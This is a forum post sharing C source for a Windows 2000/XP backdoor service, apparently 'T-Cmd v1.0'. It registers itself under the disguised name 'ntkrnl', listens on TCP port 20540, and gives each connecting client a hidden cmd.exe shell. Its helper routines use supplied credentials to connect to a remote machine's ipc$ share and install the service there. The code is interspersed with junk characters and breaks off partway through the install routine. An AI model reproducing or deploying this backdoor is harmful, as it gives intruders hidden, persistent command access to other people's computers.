[分享]Windows2000-Xp服务级后门程序(源码) - 数学建模社区-数学中国

#include <windows.h>) j& j) R6 H0 r! f( m, ]& e8 m #include <stdio.h>

#define BUFFER_SIZE 1024 9 z6 M1 ~$ w' `7 H& g: h8 U4 E - ~1 q+ C9 h% otypedef struct1 h. h, V% O$ @) ~6 @ { * [% L3 }3 s6 s( N% y8 I) i HANDLE hPipe;% ], k/ i) D+ @& Z2 q SOCKET sClient; 1 a6 u6 V& j) }0 J1 g}SESSIONDATA,*PSESSIONDATA;

typedef struct PROCESSDATA* z- Y/ Y0 p8 k! m4 E { + b7 o$ q) L; Q) B; x3 Z HANDLE hProcess; * I7 `' F$ V7 w/ b DWORD dwProcessId; . n: c2 R p" z J struct PROCESSDATA *next; * D, O; q& m( L( ^1 B* C. \}PROCESSDATA,*PPROCESSDATA;

HANDLE hMutex; ! d% t; A& c; e/ ]! T+ z$ v" TPPROCESSDATA lpProcessDataHead;6 ]6 W% T+ W) e/ k& { PPROCESSDATA lpProcessDataEnd; 8 o* T: X, B0 R( z8 {. c, oSERVICE_STATUS ServiceStatus; # n+ n1 `% D# w' w8 lSERVICE_STATUS_HANDLE ServiceStatusHandle;

void WINAPI CmdStart(DWORD,LPTSTR *);1 \5 H- o8 p4 \ void WINAPI CmdControl(DWORD);

DWORD WINAPI CmdService(LPVOID); / A0 m& R E( q$ fDWORD WINAPI CmdShell(LPVOID);7 G+ Y: f; Q0 [9 s' {/ p& g DWORD WINAPI ReadShell(LPVOID);' f( W4 h" {( j/ s% I4 P DWORD WINAPI WriteShell(LPVOID);

BOOL ConnectRemote(BOOL,char *,char *,char *);, e$ x* D" o$ n* h$ b void InstallCmdService(char *); : e) n6 \" Y/ M4 r: |, Pvoid RemoveCmdService(char *);

void Start(void);, l) C, {& H8 h void Usage(void);

int main(int argc,char *argv[]) - l% P( H3 L! T9 i0 \2 w1 w{ + |1 ^8 p9 w9 S SERVICE_TABLE_ENTRY DispatchTable[] = 4 J$ k4 B9 }) I( @ {0 f1 B/ M1 V7 Q3 y# s {"ntkrnl",CmdStart},+ M+ H# u* A3 c. [ {NULL ,NULL }5 u; T" K$ b9 D0 Z7 z };

if(argc==5)0 u4 P3 N9 Y9 m4 t1 B7 a {% R! z$ b8 H ~1 c t8 @ if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE)' _" N4 P$ H6 a( ? { $ l) i; z! n J$ e- r2 K% } return -1; / d1 K4 D4 {& ~: c- l( w; L }

if(!stricmp(argv[1],"-install"))5 K; D; w. ~! l/ R4 | {: G t3 t9 L$ |% |8 J; h, @. [* v$ B InstallCmdService(argv[2]); - C0 y, h$ C, L- [ } & d( P: J8 B) U( U' s" V else if(!stricmp(argv[1],"-remove")) / l& Z' R% R0 l$ C( e$ a {* n- f( s1 I* f+ ]( t* J2 ` RemoveCmdService(argv[2]); 5 S% p0 k1 V+ ~ }

if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE)1 ~) |, z7 D. Z3 S { 6 r, b& W+ h3 l3 _1 Q {/ @ return -1; , E! x$ k! s6 E+ Z& D } 9 V9 r( l% G! M7 _: c/ [1 U return 0; 8 n- X- a+ J8 k, w. t' p2 J }, e8 x0 g1 e, v: [6 {0 D else if(argc==2). X N- g2 t6 m3 z5 T { ; r$ p. _4 R4 Z* u. B5 o! J if(!stricmp(argv[1],"-install"))7 `& K; _3 d, r9 Y# p0 ~ { ( T& p# M- W3 Q InstallCmdService(NULL); : h: b: x6 N' b a+ i }& s) C" ]/ D$ ?2 J8 O else if(!stricmp(argv[1],"-remove"))0 ^' c3 t1 S+ Y" [& Q { 1 A6 |& J* T, X' `/ w RemoveCmdService(NULL);( }" r6 i% r+ a/ ~ }1 r( z: D" Z! d else ! _/ D! L; i) o- W( k {7 B+ ^3 `0 j$ ^$ ?& N; A2 G' U5 S Start();; _5 N9 O; X$ X8 X# ~ Usage();" r, j) Z5 p9 l! k9 c }& j8 H5 l% J6 ~0 |! q4 s9 H return 0;1 D2 Q" C* ^) t+ C ~ G) n- R5 x }

StartServiceCtrlDispatcher(DispatchTable);

return 0;7 W3 f0 Y: P8 d- F4 l2 j }

void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv)& w$ Y6 ?8 _2 U* q& y {" q0 J, J S5 `* f5 j/ m HANDLE hThread;

ServiceStatus.dwServiceType = SERVICE_WIN32; 8 }* T; v* g; _& l ServiceStatus.dwCurrentState = SERVICE_START_PENDING; 9 X- }: U0 e9 ~ i o9 x( F$ S# a, ` ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP7 r$ K8 K3 B8 w# i+ s4 u/ y+ f* y | SERVICE_ACCEPT_PAUSE_CONTINUE;$ W2 ~& u/ z+ f9 W: w ServiceStatus.dwServiceSpecificExitCode = 0;/ b B# g& f/ j5 _; D ]) r ServiceStatus.dwWin32ExitCode = 0; 0 h! |$ r/ g0 f) @) w3 Z/ r ServiceStatus.dwCheckPoint = 0; 4 Z p# `5 A6 S8 Y7 i1 S. k7 v ServiceStatus.dwWaitHint = 0;

ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);- }$ l/ a$ J& X+ b" K if(ServiceStatusHandle==0) 1 m" h8 t) v0 d- q% T) K { 0 m* @ Q; @, `4 I* G) p OutputDebugString("RegisterServiceCtrlHandler Error !\n"); 6 n; F- `. k ` return ; - [4 {8 [# P& ]+ N }

ServiceStatus.dwCurrentState = SERVICE_RUNNING;5 H( U; L% m" q) Z! ?; f; S ServiceStatus.dwCheckPoint = 0;7 T3 ^0 ^* J2 q9 F4 {( ~8 i ServiceStatus.dwWaitHint = 0;6 y, M/ G- ?8 ]( V1 d 9 Q- f% j* v6 W% W X if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)0 y( c3 S, h* J {8 s4 z4 v8 @4 t& r5 u OutputDebugString("SetServiceStatus in CmdStart Error !\n"); 5 n- ?3 D$ G. q return ;- t. r0 J5 Z- K6 @ L }

hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);- N' A$ O3 H4 a2 e if(hThread==NULL) " c# l, @( D! ] u% l8 X {% F* }4 O" R4 j2 d OutputDebugString("CreateThread in CmdStart Error !\n"); 3 X1 o' @% I) s) C9 } ] }

return ; . T7 A7 ?! r, T+ B# s0 |}

void WINAPI CmdControl(DWORD dwCode) 5 s2 {0 N" ?0 T: q" P{" j l9 K* k6 n1 H9 B0 \7 J- z) N switch(dwCode) & O& u8 W( t* i$ z+ R) Q {4 V' E3 Y" W9 W) ?# U case SERVICE_CONTROL_PAUSE: 1 {, F# r* ], r1 ^6 s. l ServiceStatus.dwCurrentState = SERVICE_PAUSED;0 ?4 [3 D/ ]- f) L. A& l break;

case SERVICE_CONTROL_CONTINUE:/ m# d- Z1 L# s9 P ServiceStatus.dwCurrentState = SERVICE_RUNNING; ! C, G1 H3 D( b: d6 u/ Z break;

case SERVICE_CONTROL_STOP: 4 T# c* G: i- T WaitForSingleObject(hMutex,INFINITE);. e7 ?1 z# b! }$ c while(lpProcessDataHead!=NULL)2 d% Y9 g/ V2 z2 [2 M t" p$ U' b {1 _: a$ T: n$ J TerminateProcess(lpProcessDataHead->hProcess,1); ) b D; W; T6 F3 Y2 f if(lpProcessDataHead->next!=NULL)& j8 a1 c8 }/ V! T# y$ S8 }3 Z {5 l( [' G6 g A; C7 V6 u2 p lpProcessDataHead=lpProcessDataHead->next; : v, _$ z7 d$ @ }% m0 G8 H0 \1 N) H8 J/ o( h; k/ r& L else* ^ B7 b! \3 [) T# e { # ?, p% L3 H0 K" c% {5 M lpProcessDataHead=NULL;& A7 t/ k/ B) L/ S4 T9 X } 1 |7 M& c+ b, G" ~2 ~ }

ServiceStatus.dwCurrentState = SERVICE_STOPPED;# G* d) m. F$ V, ~# S2 h ServiceStatus.dwWin32ExitCode = 0; 5 }6 l3 _' I' w ServiceStatus.dwCheckPoint = 0;3 _/ h' ~: L1 v ServiceStatus.dwWaitHint = 0; . S* _5 s( A% p+ I9 | if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) + @: I2 L% u& [: b1 G% T { & H2 }9 X, V$ m1 ~: {: Q OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");3 t( X O# q0 o6 v) d }

ReleaseMutex(hMutex);. R( a% T3 {% l% V) u CloseHandle(hMutex); i8 {, J' `7 J* I return ;

case SERVICE_CONTROL_INTERROGATE:3 t$ n0 ] J6 M' j0 k+ t break;

default: & H7 H) _5 L7 D; [5 h6 N9 q break;' b0 C4 E3 e" r/ T I p) T5 P; o }

if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) " o; j6 r6 H% Z8 i {2 r/ u+ i4 i9 c8 t( j; n9 @/ Q/ } OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n"); # n9 g2 a: H; Q9 C! k }

return ;8 [; e/ N' P# ^) k( ]! o+ a5 k }

DWORD WINAPI CmdService(LPVOID lpParam) 8 o2 H, S+ t: P% B" w{ ' I e C% D+ U WSADATA wsa; $ P% _! C6 t! N$ }8 L" U SOCKET sServer; : ~0 l W% d- C SOCKET sClient;& V5 T5 K Y! }9 }) B. I HANDLE hThread; 0 t8 {1 ?* I/ o! I4 _8 B" \2 F struct sockaddr_in sin;

WSAStartup(MAKEWORD(2,2),&wsa);- F5 `/ W9 w2 y' ^ sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8 J- d3 L' l# U0 d- t' C% T) m if(sServer==INVALID_SOCKET) + q* o& I5 U8 ]: v7 ^ { ! z0 B5 q& E) @5 W6 J OutputDebugString("Socket Error !\n"); ; R8 `8 }! V9 Y) H return -1; 9 @& o9 u. Y: G5 r ? } " a! ^) {6 G: d0 `/ Q1 s! }6 K4 { sin.sin_family = AF_INET; Z3 e& Z+ j. p* }+ a2 c2 D sin.sin_port = htons(20540);+ G8 i6 _# s& P# e2 k! c sin.sin_addr.S_un.S_addr = INADDR_ANY;

if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR) 4 `5 s% Q. Z- ]; E- b6 j$ Q1 N {4 g+ x2 n# [+ ?( M9 V3 l9 b OutputDebugString("Bind Error !\n"); * }& Q( u, X) X- x" t1 X9 v: | return -1;/ X; ]- O, s2 J }* i1 [$ L) ]5 S if(listen(sServer,5)==SOCKET_ERROR) 3 |% J z# I) g* D- R0 Z$ ]3 q% a { 0 O) w9 ?) W W8 Q OutputDebugString("Listen Error !\n"); I8 C0 a, T6 c9 k. S, i% g return -1; 9 I! z7 |6 u- X" y Q' | }& @, l( j! e9 ?( R) h* M% i- f . C5 d9 ~, ^$ g' H# { hMutex=CreateMutex(NULL,FALSE,NULL); 7 C, A* h6 T5 B1 x7 {; P: `6 e if(hMutex==NULL) 4 G8 ?* W( z F: O- Z0 D { 1 q& Y6 t' u1 V; B" U8 X OutputDebugString("Create Mutex Error !\n"); 6 M0 G) Z# _1 N/ m# t1 Y } 0 V+ ]/ k. }3 W4 D8 G: ]* J8 M) C lpProcessDataHead=NULL;; V6 R/ N3 N ?- k6 @# H lpProcessDataEnd=NULL;

while(1) 4 N7 h! L' ~) @# }$ A { ) V, i, ~- Z( t7 v& @- z5 k2 ]! q0 H6 z sClient=accept(sServer,NULL,NULL);% W* d5 W8 ^! Y$ S: w hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);4 p: u) r) A3 H3 _ if(hThread==NULL)% b- @+ v( B# ]5 j r" j( J2 M1 z { % U( P+ r: Y4 T: g OutputDebugString("CreateThread of CmdShell Error !\n");3 z* K( n0 q. r break;9 v8 c3 H0 O5 _5 z } 5 y' g6 ?" t% E0 q2 z Sleep(1000);. j# ?& s5 v3 ?3 @/ n9 y: T: U }

WSACleanup(); ! m! [1 x R$ m. u: F; w2 l$ d return 0;. U+ U# l7 `1 S) \% }- } }

DWORD WINAPI CmdShell(LPVOID lpParam) 2 z5 p; ]' N& B/ ^. D8 }{6 C1 [% r/ l% w3 ]: K; c6 t SOCKET sClient=*(SOCKET *)lpParam; $ t" i# @2 _) ~# E( B HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;8 t2 t+ M0 `9 Q' E- ~, m HANDLE hThread[3]; 1 J( a* g; a6 P1 y2 O DWORD dwReavThreadId,dwSendThreadId; * K9 P. A* K$ w5 o7 h DWORD dwProcessId;% G( p+ m9 @" V8 x DWORD dwResult;! ~ P" X3 f6 I4 @) v STARTUPINFO lpStartupInfo; * x3 n" @/ S$ [% C7 v% L, G E8 v/ D SESSIONDATA sdWrite,sdRead;# }1 \* s4 }3 F6 e- @; r$ k6 L/ F PROCESS_INFORMATION lpProcessInfo;- G" }) E. W D( v1 J$ X2 Y SECURITY_ATTRIBUTES saPipe; & {) u. E' P& i" g/ I PPROCESSDATA lpProcessDataLast;3 k4 S/ w6 R$ V PPROCESSDATA lpProcessDataNow;! z {1 I e) ~8 |5 G char lpImagePath[MAX_PATH];

saPipe.nLength = sizeof(saPipe);+ `6 I0 b" a" _) N, @) v saPipe.bInheritHandle = TRUE; + b( R; p4 P0 I4 ]7 J4 R saPipe.lpSecurityDescriptor = NULL;; H: X. S( E$ w if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0) / u" W7 B2 v' e- Q) e {) h7 x4 J& q; q- ?) l OutputDebugString("CreatePipe for ReadPipe Error !\n"); y* ]0 b6 c- e |3 U2 p; e! o return -1;8 k" c) J( P+ N7 R& J# i }

if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0) 4 v" X' C) `3 y8 c& B( U# ?4 [ {5 [8 f5 Y4 d! y OutputDebugString("CreatePipe for WritePipe Error !\n"); / h% t' w/ c6 N0 O, q return -1; + Q5 H6 B1 E a8 m, e }

GetStartupInfo(&lpStartupInfo); ( a7 F2 d4 |& X+ g9 p7 h lpStartupInfo.cb = sizeof(lpStartupInfo);' ^- {$ F6 B0 c5 q& ], n lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;$ d* V Y3 {- V& d9 d; y8 O lpStartupInfo.hStdInput = hWriteShell;5 a8 ^6 Q; i: G. g lpStartupInfo.hStdOutput = hReadShell; 8 S, T5 H2 K4 O lpStartupInfo.hStdError = hReadShell; 0 }% y. s& O$ R: C K" d2 ^% F. X lpStartupInfo.wShowWindow = SW_HIDE;

GetSystemDirectory(lpImagePath,MAX_PATH);2 A c: ?) o, V( J' G6 H strcat(lpImagePath,("\\cmd.exe"));- V+ C1 ?+ Y9 I4 q. M 7 ^1 k+ T- u9 \0 U/ a WaitForSingleObject(hMutex,INFINITE); . B7 P5 `& f% l* z( G+ {# } if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0) 8 w% Q& }, C' A8 ?. x {+ a2 d* ^" ?, U7 X OutputDebugString("CreateProcess Error !\n"); - O6 k: y( K. @" l return -1; 6 K: Y( X2 a8 ?9 u' q }

lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));! ]: D( B3 a; y( w! j _! y lpProcessDataNow->hProcess=lpProcessInfo.hProcess;, S" @6 m4 `% l4 s lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId;9 C+ i* f: P: z' {4 {* L9 t lpProcessDataNow->next=NULL;& {$ v" Q/ X/ y$ e if((lpProcessDataHead==NULL) || (lpProcessDataEnd==NULL)) 9 ~+ G0 K: S5 X0 B, F) b { ( ]2 x& m' ?6 S3 O' R lpProcessDataHead=lpProcessDataNow; 8 }' q/ S) s: U0 n9 [4 H. W9 x# c lpProcessDataEnd=lpProcessDataNow; & p, N6 s3 U l. O: v* K } 0 J- w7 M o. B2 H4 c else9 p- \7 z C) x& N3 H { j. f3 ~ E% p4 V( U4 p5 J+ @: h: y2 h lpProcessDataEnd->next=lpProcessDataNow; B, r2 v$ Y! ^, E6 P lpProcessDataEnd=lpProcessDataNow; * j' F h" N$ s }

hThread[0]=lpProcessInfo.hProcess; 1 I/ W b( p$ V; k, y% m dwProcessId=lpProcessInfo.dwProcessId; ( G: Q: i, | R CloseHandle(lpProcessInfo.hThread); 2 X5 Q9 I- B1 P( s2 G* H ReleaseMutex(hMutex);

CloseHandle(hWriteShell);( {2 l, ^2 [( P7 {5 @/ n0 ?& ? CloseHandle(hReadShell);

sdRead.hPipe = hReadPipe;$ s1 g9 X* ]3 ? sdRead.sClient = sClient; ! g/ ?5 U/ R* W hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);0 ^0 t$ P/ Z6 P: v, t( k; F if(hThread[1]==NULL)/ S! p& h% p, Z3 j { " z( q) O6 u/ j2 j0 W' e OutputDebugString("CreateThread of ReadShell(Send) Error !\n"); $ j% d6 ^& d2 k0 J6 b: `, Z) A return -1;* S* u, C" t6 W$ j+ Z8 b3 q }

sdWrite.hPipe = hWritePipe; 8 w* M% p% q6 ^1 k sdWrite.sClient = sClient;+ k& S: P' O2 f) k! a* D hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);/ K& ?$ |5 d/ N* A if(hThread[2]==NULL) ; R+ `! I0 c8 e/ e* U ^ { 4 i& ]- g) x! i: o OutputDebugString("CreateThread for WriteShell(Recv) Error !\n"); 9 w: }/ A3 i# {3 [ return -1; $ r7 m f7 \5 u, d ?0 R- c9 B u0 t }

dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE); + w9 Z- d) W! p. e if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2))): _' {9 J0 Q7 q* l! c0 I { " X. t: V* e- Y0 U$ S# R. D7 g dwResult-=WAIT_OBJECT_0; 6 a' h3 C* r6 l" I8 g# X2 |. M1 X if(dwResult!=0) 7 ^; @# O3 x9 j- ~, a { # H5 c# u% _6 _) W3 c TerminateProcess(hThread[0],1);+ t" c* q( q; ]' z } 4 {$ L. |4 |8 r( T5 W$ X CloseHandle(hThread[(dwResult+1)%3]); " g' l& ?& k/ p! s0 T/ b CloseHandle(hThread[(dwResult+2)%3]); 5 B) n! [( N+ P0 K9 [( w }

CloseHandle(hWritePipe); * p8 V" { r5 d9 m1 V; f- o+ p CloseHandle(hReadPipe);

WaitForSingleObject(hMutex,INFINITE);0 s: G2 G2 s* G) h$ u1 \" y lpProcessDataLast=NULL; 9 F- ^6 t# N" c; w lpProcessDataNow=lpProcessDataHead; " B H K0 ]$ E: p while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))( h4 v! P6 H- O4 M6 } {' ?) _ h5 X7 `# F+ r# j lpProcessDataLast=lpProcessDataNow; g) b! H$ W( v lpProcessDataNow=lpProcessDataNow->next; / Y& s# C& }9 y } $ ]& p8 c# v$ [# q5 `) k if(lpProcessDataNow==lpProcessDataEnd)- V. m* Z. @' z% y8 R# x {, S" l7 t0 Z* U1 `+ U if(lpProcessDataNow->dwProcessId!=dwProcessId) 7 E/ a3 m+ `( l. |: S { 2 v$ h3 ~) K2 X% F4 z7 l OutputDebugString("No Found the Process Handle !\n");9 U. V# H& {% k+ _# O+ E4 R: v } % P$ Z6 h: u( |2 E; y. ? else A/ Z- f: r2 p, l" C { 9 {! w2 V' C! R0 ^ if(lpProcessDataNow==lpProcessDataHead)/ v! i& {! {( k& q { 7 ~! l( C9 M6 @5 N5 u lpProcessDataHead=NULL;; d8 }6 Y u, g$ r2 B; ]8 s lpProcessDataEnd=NULL; : c' f# B" W2 _. s0 ~3 ^/ A }4 }& V' Q5 D( M# M2 |/ ?+ K else . h: R$ o9 h& V6 I- m4 W {: u( `& i) T' g+ f+ x lpProcessDataEnd=lpProcessDataLast; ( K/ h% g$ t( p( H+ d) J& ] }( [) t4 v9 ?; {, U; K, ^6 } }) N5 i+ l2 K: g& c+ E }, [* U! }8 k$ \0 h5 g else ! A: H% s! }( j' G; Q# r& j {0 P; u2 N4 i& [3 t+ K2 U5 i0 C if(lpProcessDataNow==lpProcessDataHead) . j$ i! K9 e" V( _' Q6 [ { . V, \' S2 n: l3 s {7 _3 q' o- y lpProcessDataHead=lpProcessDataNow->next;: [' Q" e9 U) a6 U* p7 Y, C' I } 7 B4 b3 {1 _& F else : ]$ Q/ d* P s7 \ { 1 l+ {8 m2 i6 R) w F lpProcessDataLast->next=lpProcessDataNow->next; 4 j) _( o- B3 ~* c: |$ ` } ( F3 j' b0 C% D% Z) `: l }+ n8 L4 H* l: T3 ~; b0 d) \ ReleaseMutex(hMutex);

return 0; : r3 \7 _. ]3 v- v}

DWORD WINAPI ReadShell(LPVOID lpParam), Z& g8 D1 K4 X2 F( ?$ }3 B { $ B1 I# _% Q. _ SESSIONDATA sdRead=*(PSESSIONDATA)lpParam; 0 n! ~; b+ Z* l% C' V DWORD dwBufferRead,dwBufferNow,dwBuffer2Send;6 n& X: U& P* y& n" S char szBuffer[BUFFER_SIZE];* O0 k4 Q9 v/ h" U+ b char szBuffer2Send[BUFFER_SIZE+32];7 J( m" Z# \/ ]( S! _# p5 q char PrevChar;0 w) |# B; |) i) {" S( k& |* q% a$ ] char szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\r\n\t\t---[ E-mail: TOo2y@safechina.net ]---\r\n\t\t---[ HomePage: www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003 ]---\r\n\n"; ) d% P( H! @5 N( D- O& T char szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n";

send(sdRead.sClient,szStartMessage,256,0);6 y2 I7 E$ S. q. r. | send(sdRead.sClient,szHelpMessage,256,0);

while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL)) - b/ U$ u9 q! e* a: X { ! ?" p# K- }: v& P& e if(dwBufferRead>0) . e* s+ A& q, w0 A$ B0 A {' Y+ W/ a! _1 c ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL); 9 S1 m# T, O$ L2 h( R0 B/ A }! h" S) t8 ^+ j2 I5 m x K else: A, j6 y% v( Q$ O0 y+ A { ; K5 h) Q5 L3 |- k+ ?+ ]& ] Sleep(10);4 ~9 ~# g& A! ?0 O$ {6 S- [! j1 Z continue; ! m) ~+ y# x) K9 l T }

for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow<dwBufferRead;dwBufferNow++,dwBuffer2Send++) : _2 g- ?. q8 H {1 i/ Q- H8 {8 s$ l/ ^; T if((szBuffer[dwBufferNow]=='\n') && (PrevChar!='\r')): i( w) [' a& M1 z {! S! ^3 Y9 C% }1 s+ D szBuffer[dwBuffer2Send++]='\r'; 2 ?8 O+ P4 j+ b } " U0 u! T! \% ?- p$ J/ S! b PrevChar=szBuffer[dwBufferNow]; - W8 L1 c+ ?" Q' u) N# x szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow]; ! p3 Z6 p& t q, u: O0 U+ j }

if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR) ( D* @8 _/ w" v& O; F { , M% w$ K. J# | OutputDebugString("Send in ReadShell Error !\n"); # @2 z5 v2 `) d: j break; 3 z/ l: s) q5 @' `, s } 1 C5 H% g2 |/ J$ j$ ~/ _ Sleep(5);; W! l9 n( |+ z' O w9 K1 Y" |" K }

shutdown(sdRead.sClient,0x02); A1 A* g8 f4 X5 q- `4 h closesocket(sdRead.sClient); 1 w6 X m k0 a) [6 ~$ q; q. ^; a5 C return 0; ' k6 z4 r- P( S2 A9 `}

DWORD WINAPI WriteShell(LPVOID lpParam)* f, T! `# a4 k A- f/ e3 y {8 `$ B( U1 }. {1 l2 I SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam;% b1 y% u0 }" X c DWORD dwBuffer2Write,dwBufferWritten; " v3 H( [# R0 M- V" \4 v7 o, M char szBuffer[1];" C" ~: d: d; H6 ^1 ? char szBuffer2Write[BUFFER_SIZE];

dwBuffer2Write=0; / [* Z( m: V5 |7 {7 l5 J: q while(recv(sdWrite.sClient,szBuffer,1,0)!=0) 7 ?) {- W: C, L4 z4 P& B { 3 o6 N( J0 n0 [/ L6 P szBuffer2Write[dwBuffer2Write++]=szBuffer[0];

if(strnicmp(szBuffer2Write,"exit\r\n",6)==0) 7 {9 {' g& o7 F* r" H { z3 T0 u% o; M* q4 h O5 a4 I shutdown(sdWrite.sClient,0x02); $ z5 B# v* C. H closesocket(sdWrite.sClient);5 D. o# @% L$ y3 [ return 0; & M! a! j9 Q% d. @) Y! J }

if(szBuffer[0]=='\n'). t. i5 f' s; b( z; L { R& m0 B; h; \4 O& F! n% H if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0)9 h5 x% ^0 I9 Q( g( Q9 M& V6 S& w { 0 O% W" }. ?. ?$ D OutputDebugString("WriteFile in WriteShell(Recv) Error !\n"); * D' q- O- `9 m& b) A: b break;7 I/ @2 Z4 u' Q% m ^# E }0 F) |& X3 A$ G dwBuffer2Write=0; ) Q) |3 M; V. t+ O! F }. G: H' L8 \3 i% S* ^" S' d Sleep(10); ' A; L) q) \: [1 v" [2 K }

shutdown(sdWrite.sClient,0x02); 3 t2 ]( C) _7 c" U% X- g9 y closesocket(sdWrite.sClient); + p6 { X8 F" W {: |/ K return 0;) |$ O6 u2 ?0 u* s$ c }

BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword) ( l. V R7 `. F/ V2 y2 |5 h {! K2 k, g, ?/ o6 ~9 ^1 g, i, `; U! P! v- s char lpIPC[256];* a b: N; x: q/ B& H DWORD dwErrorCode; 0 w: z& @5 L1 d, y5 j& g NETRESOURCE NetResource;

sprintf(lpIPC,"\\\\%s\\ipc$",lpHost); : l* [7 l* @, B- R- J+ E" p NetResource.lpLocalName = NULL; ! d- U6 v% a. H5 a7 k: B NetResource.lpRemoteName = lpIPC;/ [6 _# W) D- W# w+ F! E NetResource.dwType = RESOURCETYPE_ANY;# X( _3 P1 N5 P+ r7 u9 n* V NetResource.lpProvider = NULL;

if(!stricmp(lpPassword,"NULL")) : v7 \# }- a! F7 X/ K3 x { 2 F7 ], @: ?9 C# ^% e! q+ q7 ? lpPassword=NULL;" u; B0 P- T$ K$ d% ? }

if(bConnect) & E) U) o) I0 z, i {: H7 B& m7 ]2 Y% [* I8 z' Y; O6 J printf("Now Connecting ...... ");1 d( L6 Q8 n5 W! Q2 n while(1); H: {% {7 G& S) h1 f, J {8 U4 |4 r/ j+ m# q dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE); 3 v+ q9 F( {9 I/ a; [ if((dwErrorCode==ERROR_ALREADY_ASSIGNED) || (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED)) / X+ U' Z$ X% D% v { - r( g: C4 p+ }, V+ v WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);# {( F: ?. H) J; i/ `0 v6 D6 G* O } , t' @. T! _1 Z( n& ~7 U0 D$ ~ else if(dwErrorCode==NO_ERROR) ' \. k0 X, h+ w; B4 A {0 C, u& ?, f% I printf("Success !\n");" n; R" O# Y- M J& P% u break; / p! N' f; K7 R; [6 L$ R } 2 R) {3 e4 Y l. D5 n7 Y9 b else 7 ?4 Z8 ]8 A* j" e { $ L* m9 x4 W* a8 _6 } printf("Failure !\n"); $ z+ [. P1 |" y) x return FALSE; - A- k4 `% U% n) M! G9 u/ b/ ^ }7 H3 b/ l5 Z$ X" z' T. A Sleep(10);" V! N' g3 c/ O }# @/ ?- L3 X3 S" V- m6 E }! e% @/ i; M, \ else 4 E# j- o# ?6 E. p) b4 l0 ~ { " _+ k+ ]* W, X- C printf("Now Disconnecting ... "); . ]0 F1 }4 ]& t9 H; ~ dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); 8 s! N: J6 D/ v# f& l" I if(dwErrorCode==NO_ERROR)& i% Q" D0 N8 P {+ P* T, X' ?, q0 s( L' o& R% v8 s printf("Success !\n"); 2 P; _1 L: @4 ~ }: P. e q4 N* @! S& X1 Y! J6 H2 W else " Q) y0 t l- d( C8 a) ?/ U& D { 4 Q; W. x: ]7 A6 a/ B printf("Failure !\n"); + |; x4 Q/ L/ h9 z return FALSE; 7 [7 w$ K/ f, O8 M- E } " g! o7 B- O" D9 J8 [" w S! [ }

return TRUE; % v: B, X+ o2 [2 ^$ @) }}

void InstallCmdService(char *lpHost) 0 ?1 w" [* D/ H5 o% o0 T{4 s! f2 x8 d$ U9 d" g SC_HANDLE schSCManager; & l0 W3 b0 b" `$ v/ d5 | SC_HANDLE schService;% h8 @' f; x8 X5 Q/ E char lpCurrentPath[MAX_PATH];# s1 H+ s3 x- |# J5 M& \) I$ `2 c+ i char lpImagePath[MAX_PATH]; 4 C3 y8 O( m, u$ f* H char *lpHostName;, L9 j) Q# f$ M( B# J/ T/ d6 v WIN32_FIND_DATA FileData;8 W4 `. E6 v) k% y* K" E5 k9 w! p7 K/ ] HANDLE hSearch; . w- A. R) y: z1 a DWORD dwErrorCode; ) i4 x; }9 M# b SERVICE_STATUS InstallServiceStatus;

